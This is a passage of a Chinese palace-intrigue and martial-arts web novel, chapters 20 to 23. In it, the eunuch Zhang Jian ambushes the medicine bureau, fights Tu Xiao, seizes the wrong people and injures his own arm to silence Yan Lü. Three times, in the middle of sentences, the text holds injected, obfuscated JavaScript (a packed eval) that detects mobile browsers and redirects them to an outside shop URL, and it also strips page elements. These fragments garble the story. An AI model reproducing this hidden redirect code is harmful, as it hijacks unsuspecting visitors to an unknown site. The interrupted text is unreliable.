甄修仪愣了片刻,忽的噗嗤一笑。 笑罢,又忙唤住屠骁:“等等!我有话要说。” 她想,有时候傻气也是会传染的。 20. 他错了 屠骁只不过是信口胡诌,但章简确是因为干爹有事交代,才不曾随侍左右。 秋阳惨淡,冷风瑟瑟,这样的风正好可以将他的脑子洗涮干净。 他一边信步往药局走去,一边思忖着与昭仪娘娘的对话。 按计划,自己此刻本应留在守静宫。 “我从吕自安那里得了消息,当日白司药给我姐姐的安胎药有问题。我打算去药局一探究竟。”这话是万昭仪之前与他说的。 她早在收到请帖的时候,便定下了一个“绝妙”的计划。 章简没有出声,静候她的解释。 他知道,这样年纪的少女,面对一个信任的人,总是憋不住话的。 果然,她得意洋洋地将计划和盘托出。 “海棠苑的雅集,必定有人要生事。与其静观其变,不如主动出击、以攻为守。到时,我会自己跳进水里,闹出足够大的动静,引开所有人的注意。而后寻个僻静处上岸,潜去药局查探。” 她故意挑着眼尾、勾着唇角看向他,眼神满是亲近和讨好,几乎快要瞧不出先前那种厌恶和防备了。 “元鸣会引着众人往反方向搜寻,还请你在守静宫等我。待有人问起,你只说是在回来路上撞见了我,将我带回,为我作证便可。” 章简垂下眼睑,不说应也不说不应,无甚情绪地赞道:“娘娘好计谋。” 对方压低了声音,循循善诱道:“此计不光是为了我,还是为了你。” 章简眼皮微动,虚心道:“哦?请娘娘解惑。” 她勾勾手指,待他附耳上前,才好心解释。 “如今宫苑安防、宴饮诸事,都是安都知所辖。聚会上出了谋害宫妃的乱子,这顶帽子扣下去,他还能坐得稳吗?” 前些时日,常派借刺客一事大肆发难,将宫苑安防的差事揽了过去,她口中的“安都知”,正是常怀德的义子安奎。 宫苑修缮、安防戒备一差历来油水丰厚。 一块砖值五两还是十两,不都是被踩在脚下的贱命,对主子们而言又有什么分别? 她轻言曼语,耐心哄道:“真能将安都知拉下来,在章伴面前岂不是大功一件?” 章简的心弦狠狠动了一下。 不得不承认,她说的每一个字都十分动听。 他太了解后宫的女人们了。 现在已使过了一招“装神弄鬼”,接下来该是“挑拨离间”才是。 不论哪招,左右不过是捕风捉影、小打小闹,伤不到根本。 可有娘娘落水,却是一桩紧要的大事。 万昭仪的身板不似常人,想来是冻不死的,或许,真能借机将安奎拉下来呢? 他心中百转千回,面上仍是不显,假意劝道:“此举太冒险了,娘娘千金之躯,万一出了意外,臣可万死莫辞了。” “我水性很好,不必担心。”她摆摆手,笑道,“以身入局,胜算在我。” 章简看着她那双燃烧着火焰的眼睛,也渐渐露出激动的神情,重重颔首。 “好!” 然而,当目送着屠骁和元鸣离开守静宫,章简便瞬间褪去笑容,沉吟片刻,转身吩咐。 “去药局后院守着。若有可疑人等私下会面,立刻擒来。” 廊下,赫然立着六道影子。 他们不知何时进的侧院,也不知道在那里立了多久,六道影子与廊柱的阴影叠在一处,竟像天生就长在那里一样。 仔细看去,才发现他们均着褚色黄门太监服制,却是窄袖短杉,在脚腕处缠着腿绷。 为首那人没有动,略带迟疑地看着章简。 他们本是听从章怀恩差遣,此刻不动,只是想知道这究竟是章怀恩的意思,还是章简的意思。 章简知道他们心有顾虑,不敢妄动,但自己立功心切,也顾不得解释许多,便微眯双目,冷声道:“一应后果由我担着,你们怕什么?” 紧接着又嘱咐了一句:“不论何人,立刻擒来。” 他还不能十成十确认那人是金拂,或许还可能有别人呢? 几人见他已面露不虞,赶忙应下:“是。” 只要有了章简这句话,他们便不会再有任何顾忌。 他们的武功很高,自信足以对付宫里任何一个人,哪怕对方是禁军高手,是天潢贵胄,是帝王宠妃。 六道身影再度融入宫墙的阴影里,向药局的方向飞快掠去。 章简没有留在守静宫。 他当然不会乖乖听从万昭仪的吩咐,他有自己的安排。 几日前,干爹来了信,信上说了两件事:一是官家即将起驾回銮,命他做好安排。 这消息固然重要,但并不值得干爹特意送信回来。 重要的是第二件事。 虽言语寥寥,却叫章简如坠冰窟—— 半个月前,西铁镖局的总镖头肖猛路过青塘城,为了争抢伶人,与人动起手来,对方将肖猛打伤后逃之夭夭。 肖猛武功高强,本不至于因这点伤就丧命,奈何他仇家遍地,有人趁他受伤之际暗下杀手,结果了他的性命。 西铁镖局震怒,已对江湖各派下了追杀令,誓要将打伤肖猛那人抓住。 而那人,正是十三刀。 既然章怀恩说是“十三刀”,那便一定是十三刀。 他非但对于宫中的一举一动了如指掌,甚至对江湖上的消息也十分灵通,不论发生了什么,他不出半日一定能得知消息。 而且那消息一定不会有假。 青塘城在边关,距京师路途遥遥,快马加鞭、不眠不休也要八九日才能到。 十三刀无论如何也不可能在与人动手后,又立刻出现在大内行刺。 所以,那夜的刺客压根不是十三刀! 干爹言辞平实,没有半句责备。 可越是如此,章简越发感到彻骨的寒意,仿佛干爹正透过信纸冷冷逼视着他。 是你的错! 是你认错了人! 章简的背瞬间沁满了汗。 既然开头错了,之后所有的推断岂不都成了笑话? 那个刺客或许有几分武功,但当时的情形,她多半只是在虚张声势,借十三刀的名头吓退自己。 她的武功很可能远在自己之下,甚至,她压根没有能力逃出禁军的重重包围。 一个念头在他脑中炸开—— 或许,那刺客根本没有逃走。 她还在宫里! 大隐隐于市,人最多的地方,岂不正是最安全的地方? 章简任权都知三年,对宫中各处人手了如指掌,一旦想通关窍,便飞动脑中念头,将所有可疑的人一一筛过。 很快,一个名字浮现出来—— 金拂。 此女是膳房新来的厨娘,他还曾向她讨要过香囊配方。 她本是京城人士,幼时随祖母定居江宁,后四处游历,两年前才回到京城。 本朝厨娘备受追捧,凡官宦富贵人家,皆以厨娘侍奉为荣,不惜豪掷千金只为求一名厨。 金拂厨艺精湛,尤擅南北各色果子点心,虽不曾抛头露面,却被京中不少高门大户奉为座上宾。 更有齐王殷炀在背后一力举荐,上下请托,将她送进了尚食局。 据说她最拿手的果子,便是江宁的鸭油酥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073766|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章简曾尝过一次,就连他这样不重口腹之欲的人都觉得齿颊留香。 而他初见万昭仪那日,万昭仪便提到了鸭油酥。 世上绝没有这样巧合的事。 江宁离楚州很近,万昭仪是楚州人,或许她与金拂早就认识。而金拂游历四方,绝不可能没有功夫傍身。 正猜疑之际,他便听闻京中有人悄悄打探一个名叫“白霜”的女子,只道那人是宫里司药的妹妹。 章简对宫人的家世背景清清楚楚,那死掉的白司药哪里来的什么妹妹? 倒是宁妃娘家的族弟,有个叫白霜的妾室,不过是姓白罢了,与白司药扯不上丝毫干系。 章简立刻料定,这是有人在为万昭仪打探消息。 且打探的还是个假消息。 于是,他便顺水推舟,在药局的籍册里做了手脚,故意撕掉了一页。 果然,有人上钩了。 章简不由地冷笑,又不由地得意。 能入宫的女人,怎么可能会是单纯的人? 万昭仪长得纯良质朴,说话可并不老实。什么从吕自安那里探听来的消息? 笑话! 吕自安与她才认识多久? 不过一面之缘,怎么可能就死心塌地为她打探消息?真正帮她打探消息的,分明就是这个金拂! 正好,万昭仪主动提出要“以身入局”,前去药局一探究竟,这简直是送上门来的机会。 若能将金拂与万昭仪的会面抓个现行…… 到那时,不但能抓获刺客,万昭仪的把柄也落在了他的手中。 有把柄在手,而后再以利诱之,将她彻底拉拢到自己身边,何愁她不言听计从? 甚至于,连背后的齐王都能牵扯进来! 念及此,章简的呼吸都轻快了几分,仿佛当真瞧见了自己运筹帷幄、玩弄众人于股掌之中的风光场面。 钻营算计的人总是自傲的,他们常常以为自己是这世间最聪明的人。若这人还有一身好功夫,这种自傲就会变成目空一切的自负。 章简正是这样的人。 可惜他算来算去,漏算了一点——万昭仪并非寻常女子。 他更想不到,万昭仪本就不是万昭仪。 开头错了,只能一错再错。 - 不对劲。 信是守静宫的人送来的,约在药局会面,有要紧事情相商。 信上的字迹是屠骁的,语气也是。就连那简短急促的行文风格,都与屠骁如出一辙。 一切看起来都那么合理,可金拂却觉得不对劲。 屠骁是何等的性子? 她对章氏父子的恨意深入骨髓,却从不将这仇恨宣之于口。 因为她坚信恨是不能外泄的,只有闷在胸中、压在心底,才能让这恨酿得更加毒辣、更加浓厚、更加厉害。 她全凭一腔压抑的恨意活到今日,又怎么会在信中明确提及章简的名字? 况且,如今想来,查探消息的过程未免也太顺利了些。 金拂自诩见多识广,又在高门大户见惯了勾心斗角、阴谋诡计,她瞬间想通,这很可能是一场骗局。 要么,这封信本就有古怪; 要么,就是屠骁在用这种反常告诉她,她们已经被人盯上了。 以屠骁的为人,即便真有万分紧急的情况,只会狠下心与自己割席断交。 宁可决绝赴死也绝不会牵连朋友的人,又怎么会在此时冒险约见? 金拂将那张薄薄的信纸扔到炉膛里,看着它慢慢卷曲、变黑,最终化为一撮灰烬。 而后提起一盒果子,款步离开了膳房。 21. 切磋 风在吹。 风送来六道均匀而绵长的呼吸。 章简立在药局后门,细细聆听,确认那六个人已经各自寻好了埋伏的位置,才满意地离开,绕到了药局的正门。 两位司药正带着几名宫女研磨香丸,制作药丹,为不久后的冬至祭祀大典早早做好准备。 见到章简,两人连忙起身行礼,态度一如既往的恭敬,并未因为他被夺了权都知之位而有丝毫怠慢。 “官家再过几日便要回宫了,劳烦二位多备些益气解表的汤药。” 章简心眼小虽,可出手却很大方,与她们寒暄几句,便一人送了一枚金豆子。 两人连忙应下,心中更是笃定。 果然,章简虽暂时失势,在章伴心中地位却依旧如初,不然如何能得知官家回銮这等内情? 两人的笑容愈发真诚。 正在这时,外头一个小太监匆匆跑来禀报。 “两位司药,海棠苑出事了,几位娘娘受了惊吓,德妃娘娘请二位速速过去瞧瞧!” 两位司药面色大变,赶忙向章简告罪。 章简心头一动,暗道万昭仪已经“落水”了,于是温声嘱咐道:“救人要紧,二位快去,不必管我。” 待她们的身影消失在院门外,章简脸上的笑也随之消失,身形一动,旁若无人地往后院走去。 药局的前后院唯有一条甬道连接,甬道两旁是十二道廊柱,只要把住此处,便能与后面六人形成十面埋伏、瓮中捉鳖之势。 章简藏好身形,背靠廊柱,缓缓闭上眼,凝神静气,右手扣住了腰间的鞭柄。 不多时,果然有脚步声从后院的方向传来。 他的手在颤抖。 他知道,当初自己之所以错认十三刀,并非是因为自己眼力不佳,而是因为胆怯—— 一种面对强敌的胆怯。 他从不杀人。 因为他已有权势,有金钱,有兵不血刃的本事。 正如真正的高手不必亲自出手,便可叫人甘心服输。到得如今的地位,不用他吩咐,自会有人主动替他除去该死之人。 除此之外,还有一个原因—— 他害怕杀人。 他害怕光亮从人的脸上慢慢流走,害怕尚存余温的血沾到肌肤上,害怕自己不惜一切代价保住的东西如此脆弱、如此轻易就能被夺走。 他害怕想起那个被逼挥刀、弱小无助的自己。 二十年来,他亲手杀过的唯有一人。 然而,因他而死的人有多少?他们是不是真的该死? 这些罪孽是否会化作报应,悉数落在自己身上? 他不在乎。 后院的脚步声很轻,听声音的去向,显然是存放药案的屋子。 不多时,前院的方向也传来了脚步声,脚步又轻又快,像是着急赴约又怕被人发现似的。 章简按捺住心头翻涌的情绪,松开了握住鞭柄的手,将呼吸敛到几不可闻。 他暂且不打算暴露自己,他要等她们会面,然后将这一切抓个现行。 疾行的脚步声伴着一道黯淡的人影,裹着披风,自甬道一头飘至近前。 行出不远,那影子却忽的一顿,紧接着,猛忽的调转方向,放慢速度,缓缓向他藏身之处走来。 很快,影子融入廊柱的阴影之中,脚步声也在身后消失了。 章简屏住呼吸,凝神细听,背后安静得只有风声。 脚步声,呼吸声,半点响动都没有。 廊柱斜斜的阴影似是猛兽的尖牙,而那猛兽正蛰伏在暗处,耐心地等待猎物因松懈而探出头,好将其一口吞掉。 等了片刻,廊柱后依旧没有任何动静,死一般的沉寂,仿佛那人真的消失了。 也许人已经离开了? 不,绝不可能。 章简立刻否认了这一猜测。 他眸光闪烁两下,决定不再拖延。 他本不是多么有耐心的人,况且,谁说他一定是猎物呢? 即便不能将两人会面抓个现行,但只要她们一前一后出现在药局,就很难撇清干系,不论如何,先揪住人再说。 他脚尖微动,正要闪身出去,冷不防腰间一动。 低头看去,一只手竟从廊柱后面伸了出来,径直握住了他的鞭柄。 那是一只女人的手,修长,坚韧,速度快得几乎成了一道残影。 连章简都未曾察觉她何时动作,何时出的招。只觉腰间一紧,眼前一花,那只手便不见了。 在他犹疑的瞬间,腰间的银鞭已被一股巧劲抽离,首尾的扣环被轻易解开,整条鞭子被那只手抽了出来。 他冷笑一声,身形不退反进,腰腹发力,反方向拧身一卷,将银鞭重新缠回腰间。 他一手灌注真气,紧紧攥住鞭身,手腕猛地用力一抖。 这一抖之下,蕴含的内劲足以将对面的人甩飞出去。 可那鞭子却像是被捏住了七寸的毒蛇,传来的力道陡然一卸。 紧接着,一股更蛮横、更霸道的力量顺着鞭子反噬而来,竟是要将他的鞭子硬生生抢过去。 章简眉头一皱,右脚向后错开半步,沉腰坐马,下盘发力,猛地向后一扯。 竟没扯动。 廊柱隔开了两人,却隔不开银鞭上的角力。他手腕左右翻转,两股力道一前一后迸出。 这两股力道分明方向相反,却并未抵消,反倒似飓风般迅速卷动。软鞭霎时扭动,如灵蛇般绕过廊柱,直取对方手腕。 软鞭虽威力有限,但胜在灵活多变,擅以柔克刚、以巧破力。 这一招缠缚威力非常,一旦被绞住,鞭中内劲便会瞬间锁死对方经脉。 然而,对方似乎根本没有躲闪的意思。 只听“啪”的一声脆响,鞭梢竟被一只手牢牢抓住。 那只手只是简单地一拧、一拽,一股螺旋的劲力便沿着鞭身倒卷回来,章简只觉虎口一麻,险些脱手。 对方非但化解了这招,而且丝毫内力都没用! 章简心中微惊,立刻变招。 他不再试图用巧劲,而是将内力催发到极致,鞭子在他手中陡然绷直,九节连环不再如蛇般柔软,而是瞬间化作一杆银枪,带着破风的锐响,隔着廊柱向对方的下盘扫去。 势大力沉,足以开碑裂石。 可对方的反应更快。 几乎是在他发力的同时,那人身形一矮,竟是贴着地面滑了过来,银鞭自她头顶擦过,被顺势一带,盘着廊柱卷出一道上斜的弧线——直奔他的咽喉而来。 章简眼前银光一闪。 他心知不妙,却已来不及收招。 心念电转,他瞬间放弃了抵抗,任由银鞭将他卷起,向廊柱上猛地一拽。 他并无杀心。 单这一点,他已经败了。 颈间猛然一紧,银鞭已死死勒住他的脖子,当啷一声脆响,扣环在柱后紧紧扣上。 章简的脸瞬间涨得通红,拼尽力气挤出声音:“这位娘子好手段!何必遮遮掩掩,不如出来一见。” 他话音刚落,便见一人从廊柱后快步走到面前。 章简惊了一瞬。 视线在对方湿漉漉的发梢上停留了片刻,他忽的低低笑了,喉中挤出一句话:“娘娘这是做什么?” 屠骁胸口微微起伏,仿佛气息不稳,片刻的怔愣之后,面上忽的浮出玩味之色。 “这话该我问你才对。你答应过我留在守静宫,现在又是做什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079943|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 章简脖子被紧紧捆住,面色却依旧淡然:“臣担心娘娘遭遇不测,所以特意前来助阵。” 屠骁皱眉,慢慢地道:“遭遇不测?” 这四个字像是四块冰,在她口中嚼来嚼去,咯吱作响,听得人直起鸡皮疙瘩。 章简抬手覆上脖颈处的鞭子,手指用力,试图拉扯出空隙。 这银鞭长三尺半,乃是陨铁混了百炼精钢,由巧匠耗时数月锻造而成。 平日里盘在腰间,看似柔软如布,实则水火不侵、刀剑难伤,想要凭蛮力扯断更是绝无可能。 屠骁已领教过那鞭子的威力,看起来章简还存有一丝侥幸。 她甩着手腕,盯着那道被银鞭刮出的红痕,漠然道:“我倒觉得,最大的不测就是你。” 章简的手放了下来。 他看出来,屠骁并不打算信他的话,也不打算放开他,大有他不老实交代便将他绑到地老天荒的架势。 难道她以为这样就能困住他了? 他不再言语,而是垂下头,手腕和脖颈的青筋猛地跳动起来,浑身似乎有无形的气流在涌动。 屠骁见状不妙,下意识后退半步。 嘭! 只听一声巨响,几道刺目的银光从章简身上爆射而出,狠狠钉入廊柱与两旁的墙壁之中。 定睛看去,那银光正是银鞭的断节,断口整齐,竟是被内力生生震断! 此人内功深厚雄浑,可见一斑。 章简见屠骁后撤,似带惧意,不禁挑眉。 之前要与他切磋,如今也算切磋了一番,该满意了吧? 他颈间已现出青紫的淤痕,面色却依旧带着温柔恬淡的笑容,躬身叉手,仿佛方才什么也未曾发生。 “方才一切都是误会。” 屠骁怔了怔,也笑了。 “好好的鞭子,就这样毁了,岂不可惜?” 她走至墙边,抬手将一节断鞭拔了出来,递到章简面前。 章简的视线落在她的掌心。 那截以陨铁精钢打造的断鞭上头,竟已出现五个清晰的指痕。 他心头不免一跳,双手接过断鞭,沉默了片刻,忽然大笑起来。 “单凭娘娘这身力气,便不会叫人轻易欺负了去。是臣眼拙了!” “的确眼拙。我武功虽不好,力气却大得很,可没那么好欺负。” 屠骁语气不善,“方才你不开口,我还以为有人特意在此埋伏呢!我下手重了些,你回去抹些清淤膏吧。” 章简自然应下,又听她向后飞了一眼,轻快道:“既然来了,不妨与我一起去看看吧,她们一时半刻回不来的。” 章简的耳朵动了动。 后院隐隐传来打斗声,但很快便消失了。 他吩咐的是:见到可疑人等“会面”,立刻擒来。 难道里面已经有人私会了?难道万昭仪竟是无辜的? 他眉头微微蹙起,仅一瞬,便又迅速舒展开,退后半步,做出一个“请”的手势。 “娘娘请。” 屠骁抬脚便往后院走去。 章简见她脚步并不急切,似乎全然没有听到后院的动静,心中疑虑更甚,却只得按捺性子跟在后头。 待他们步入后院,打斗声已经全歇了。 药案库的房门虚掩着,门缝里透出的呼吸声,显然不止六道。 不论如何,抓到了贼人便好。 章简心头稍定,快行两步,抢在屠骁前头伸手推开门。 可当他看清屋中被太监押着的人时,顿时一怔。 元鸣? 不等他出声质问,视线一转,又见地上还躺着一个昏死过去的人,他顿时惊呼一声。 “严律?!” 22. 哪里错了? 不过晕了片刻,严律便悠悠醒转。 他认得这六人。 他知道他们是干爹的心腹鹰犬,更知道这六人也认识他,因此他愈发愠怒。 好歹我也是章怀恩的义子,这群狗东西,竟敢如此对我! 眼还未睁,口中已是污言秽语不绝。 待看清章简那张叫人憎恶的脸,严律更是目眦欲裂,抓起手边的团扇便朝章简面门掷去。 “真是狗胆包天!” 团扇没有丝毫攻击力,在半途便被章简劈手截住。 严律哼了一声,一手扶着幞头,一手扶着腰,站定之后,一把夺回了团扇。 “呸!” 章简面上怔怔,任由到手的团扇抽走。 心中只剩下几个字:怎么会? 怎么会是严律和元鸣呢? 究竟是哪里错了? 随即,他不再纠结于这个问题,而是陷入更深的绝望。 干爹平生最恨旁人自作主张,此番若是擒住刺客,尚可功过相抵,既往不咎。 可如今非但抓错了人,还惹上了严律这难缠的鬼,恐怕自己连掌事的位置都坐不稳了。 待干爹回宫,又不知是何等的雷霆手段。 思及此处,章简便觉得脊背上漫开寸寸寒意,耳中嗡嗡鸣响,险些栽倒。 许是元鸣手无缚鸡之力,又不曾反抗,押着元鸣那两名太监并未用多大的力气。她眼见屠骁要开口,立刻便直起身,向屠骁递去一个眼神,示意她稍安勿躁。 屠骁微微点头回应,又侧眼去瞧章简。 方才章简见到她,脸上的惊讶实在不同寻常,此时此刻,他的震惊更是丝毫不假。 既然他知道她要来药局,那么他的惊讶只能是为了其他人——一个他本以为该来,却没有来的人。 于是她瞬间明白,金拂已经暴露了。 之所以如此猜测,只因方才甄修仪告诉她的事:白霜确是宁妃娘家堂亲的妾室,但并非白司药的妹妹,不过是与白司药同姓罢了。 甄修仪之所以放出这个假消息,便是想借她的手去查宁妃,更要撺掇她二人斗个你死我活。 这一招便叫作挑拨离间、借刀杀人。 既然白霜的身份是假,那么金拂打探“白司药之妹”一事定会走漏风声,惊动有心之人。 如此一来,自己绝不能再与她有所牵连。 以金拂的能耐,脱身应是不难,不必过分担心,屠骁当即下定决心,先回守静宫再说。 可走出几步,心头终究难安。 金拂一旦暴露,处境必然十分危险,若这消息叫章简知道了……他可不像是会心慈手软的人。 不去看看,她无论如何也不能放心。 可谁知来到药局,没看到金拂,竟叫她看到了章简、严律两兄弟斗法。 狗咬狗的场面实在有趣,她存了看热闹的心思,兴致勃勃地立在一旁,没有开口。 严律仍在喋喋不休地咒骂,骂章简与那六个太监下手狠毒,有眼无珠,全然不顾他权都知的脸面。 他骂得实在难听,章简不由地上前一步,打断道:“说吧,你要如何?” 严律一怔,桃花眼滴溜溜转了一圈,忽地悟到了什么,面上浮现出了然之色,阴阳怪气道:“哦?我当是干爹的意思呢,原来干爹并不知情啊!” 章简并未否认,只用一双眸子阴沉沉地逼视着他。 他最清楚严律的为人。 此人碌碌无才,心胸狭隘,虽无大恶,却专擅暗地里使坏。 往常自己从不将这草包放在眼中,可今日被拿住这样的把柄,便是草包也足够叫人喝上一壶了。 章简心中焦急如焚。 他倒是有些严律的把柄,可都是些无关痛痒的小事,无论如何不能在瞬间将严律死死拿捏住。 严律摇着团扇,迈开四方步,好奇道:“你甘愿冒着这么大的风险,动用这几个好手,究竟是有什么不得了的事情?” 章简不语。 “为了我?”严律啧啧两声,“恐怕不值得如此大动干戈吧?” 章简依旧不语。 “我猜,你定是着急捉什么人,好在干爹面前邀功。是什么人呢?难道是刺客……”严律嘿然一笑,玩味道,“刺客竟还在宫里?!” 章简的瞳孔猛然收缩,眸中射出刀锋般的寒光。 严律却背对着他,并未察觉,反而因自己的猜测而得意起来。 “文约啊!事到如今,你尚且还有一丝机会。” 章简问:“什么机会?” 严律霍然转身,凑近前来,以扇遮住两人的脸,低声道:“你将那人告诉我,我便可饶了你这一回,不跟干爹提起,如何呢?” 他是想将这份功劳抢过去,好在干爹面前挣个头彩。 可如今已打草惊蛇,告诉他又有什么用呢? 章简大可以告诉他一个假的名字,任由他去出丑闹笑话。 但此事不宜节外生枝,更不能叫章简落下个“坑害手足”的骂名。 ——严律的笑话、章简的笑话,归根结底不都是干爹的笑话么? 于是他只能沉默,沉默已是最好的回答。 严律勃然大怒,冷笑道:“好!好得很!既然如此,休怪我不念手足之情了!” 说罢,转身便走。 章简手臂一横,拦在他身前。 严律拿扇骨在他臂上重重敲了两下:“你拦得住我一时,还拦得住我一世不成?干爹早晚会知道的。你若真有本事,大可将我杀了,一了百了。可是你杀得了我,杀得了他们六个么?” 他挑着眉,眼神里满是挑衅。 章简心一横,忽的问:“他们伤了你哪里?” 严律立刻来了精神,指着自己的左臂、左肩和脸,哼道:“这里,这里,还有这里!” 章简蹙眉,从那搽满了粉的脸上瞧不出一点伤痕:“面上伤在哪里?” 严律拍了拍脸颊,竖目道:“你害我在美……元司宫面前失了颜面,这简直比打我的脸还要可恨一百倍、一千倍!” 屠骁终于开口了。 “怎么又扯上我的人了?听来听去,此事与元司宫半点关系都扯不上,赶紧放人。” 章简抬眼示意,那两名太监立刻松手。 元鸣垂首走到屠骁身边,眼眶已是通红:“娘娘没事吧?” 屠骁握住她的手,摇了摇头。 元鸣的眼泪登时滚落下来,泣道:“方才娘娘落水,真把臣急死了。可惜臣不识水性,无法下水相救,留在那里也是碍手碍脚,于是便想着先到药局寻些驱寒的方子,提前备好汤药。” 屠骁眨了眨眼:“你怎么会跟严都知一起?” 元鸣含着泪,飞快地瞥了一眼严律,又迅速垂下头。 “臣急急忙忙赶来药局,路上恰好遇到严都知和金娘子,才听说药局的司药们都去了海棠苑。严都知心善,便主动提出与臣同来,谁知道竟打扰了这几位办差,被他们误认作贼人……” “但宫里并没有贼人。”屠骁立刻道。 “是,是,都是误会,宫里怎么会有贼人呢!”元鸣又满怀愧疚地看了一眼严律,“连累严都知了。” 严律被她那一眼看得骨头都轻了三两。 美人既然说他心善,他便不好再咄咄逼人,勉强松了口风。 先朝屠骁草草行了个礼,又冲章简道:“他们六个的事暂且不论。你且说说,我这身伤,该如何呢?” 那严都知要如何呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082805|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屠骁本想再激严律几句,也好叫暗算自己的章简多吃些教训。 但她话未出口,已是不及。 只听两声闷响,章简已然挥出双掌,狠狠击在自己左肩与左肘之上。 “咔嚓!” “咔嚓!” 他出手快如闪电,不给任何人反应的机会,两掌下去,他的左臂已经软得像一根面条了。 严律双目圆睁,脸上血色尽褪,骇得连退两步,指着他“你你你”了半天,说不出一句整话。 章简额上冷汗涔涔,脸上竟还带着淡淡的笑意,轻声问道:“如何?我还义兄一条手臂,够了吗?” 严律喃喃道:“疯了……你真是疯了……” 章简又捉起他的一只手,死死抠在自己脸上,问:“若是不够,把这张脸撕下赔你如何?” 内力汇聚于掌心,章简的面上已经浮现出指痕。 严律拼命挣脱,却无法逃脱章简的桎梏。 从手指,到手腕,再到胳膊,最后,他整个人都抖了起来。 这人竟真要将脸皮撕下来! “若是不够,便将这条命赔给你可好?” 软的怕硬的,硬的怕横的,横的怕楞的,楞的怕不要命的。 若是一个人连自己的命都不要了,还有什么能威胁得到他? “你、你……滚!” 严律叫了一声,猛然抽出手,见鬼似的看了他一眼,推开众人,夺门而出。 那六道影子同时看了看章简。 在他们看来,严律的威胁毫无意义,即便章简不说,严律不说,他们六人也会如实禀告章怀恩。 章简点了点头,那六人便悄然离去。 元鸣吓得呆了,被严律一撞,才恍然回神,急匆匆拭去泪痕,恢复了往日的淡然谨慎。 屠骁叹了口气:“倒是便宜他了。” 章简却摇头:“不,是便宜我了。” 屠骁挑眉:“哦?” 章简强撑着笑:“娘娘别忘了,他不但伤了胳膊,还伤了颜面。如今我只还他一条胳膊,岂不是便宜我了?” 屠骁哑然失笑,怔了片刻,转身道:“赶紧回去吧,也该去向二位娘娘报个平安。” 元鸣应了一声,连忙抬步跟上。 章简盯着她们二人远去的背影,顿了顿,才慢慢跟了上去。 许是被章简那股狠劲吓住了,严律当真没再提起当日之事,更没去向章怀恩告状。 但章简却拖着一条胳膊,主动去了干爹那里请罪。 这件事干爹无论如何也会知道,与其从别人口中道听途说,还不如自己主动认罪。如此,才有转圜的余地。 那两掌看着可怖,实则都使了巧劲,击在了关节处,并未造成骨头断裂,纯粹是用来吓唬严律的。 章简怎么会蠢到对自己下狠手呢? 自然,他也不会蠢到以为干爹会瞧不出自己刻意卖惨的小心思。 但干爹并未发难,还替他接上错位的骨头,这等迁就和纵容叫章简如蒙大赦。 其实细想起来,干爹从未真正罚过他。 可越是如此,他对干爹的恐惧越是与日俱增,在干爹饶恕他时,感激之情也相应地愈发浓厚。 ——刀落下只是一瞬,可日日直面头顶悬垂的刀刃,揣度它究竟何时落下,想象着刀刃划破皮肉的痛苦,又有谁能不恐惧呢? “你还年轻,不必争这一时输赢。”事后,章怀恩对他道。 这样简单的道理,本不该叫干爹告诉他的。 章简心中愈发愧疚不甘,但也明白,刺客一事只能到此为止了。 一时的输赢并不是一世的输赢,日子还长,机会还多得是。 眼下,他还有更要紧的事——万昭仪被召侍寝。 23. 他醉了 朔风肆虐,漫卷天地,可守静宫内却很暖。 屠骁坐在这一片暖意里握笔疾书,手中的笔仿佛化作一柄锋锐的剑。 她的衣衫很简单,一袭素白的宫装,长发也只是松松地绾着,没有任何珠翠。 两个宫女在案旁伺候笔墨,静静守着屠骁抄写宫规。 她已经抄了很多天,却好像永远也抄不完,但她并不着急,也没有偷懒。 门被推开,风灌了进来,灯火猛地一跳。 元鸣脚步很轻,脸色不怎么好看。她的身后还跟着一道影子,轻巧得就像是从门缝里吹进来似的。 章简穿着一身内侍官的绯色常服,身形挺拔如枪,面容俊秀如玉,脸上挂着惯有的恭敬和笑意。 只是这次,那笑意中还藏着连他自己都未察觉的困惑。 在屠骁面前,元鸣倒不像与外人说话时那么拘谨,一进屋便忍不住抱怨起来:“娘娘,那膳房的金娘子好不讲理!” 她将怀里抱着的酒瓮放在桌上,搓了搓手指,酒香顺着瓮口丝丝缕缕地溢了出来。 “臣不过是讨一瓮酒罢了,谁知她听闻我是守静宫的人,竟直接变了脸,把臣往外头赶。臣好说歹说,又使了银子,她才不情不愿给了这瓮酒。” 她越说越气:“一个厨娘,无品无级的,仗着有齐王撑腰就敢给我脸色看,哼!” 屠骁写下最后一个字,将笔搁在玉制的笔山上,笔尖墨汁低落,晕开一小团黑渍。 她没有看元鸣,只是随手从案上抄起一个荷包丢了过去。 青色的弧线划过半空,元鸣下意识地伸手接住。 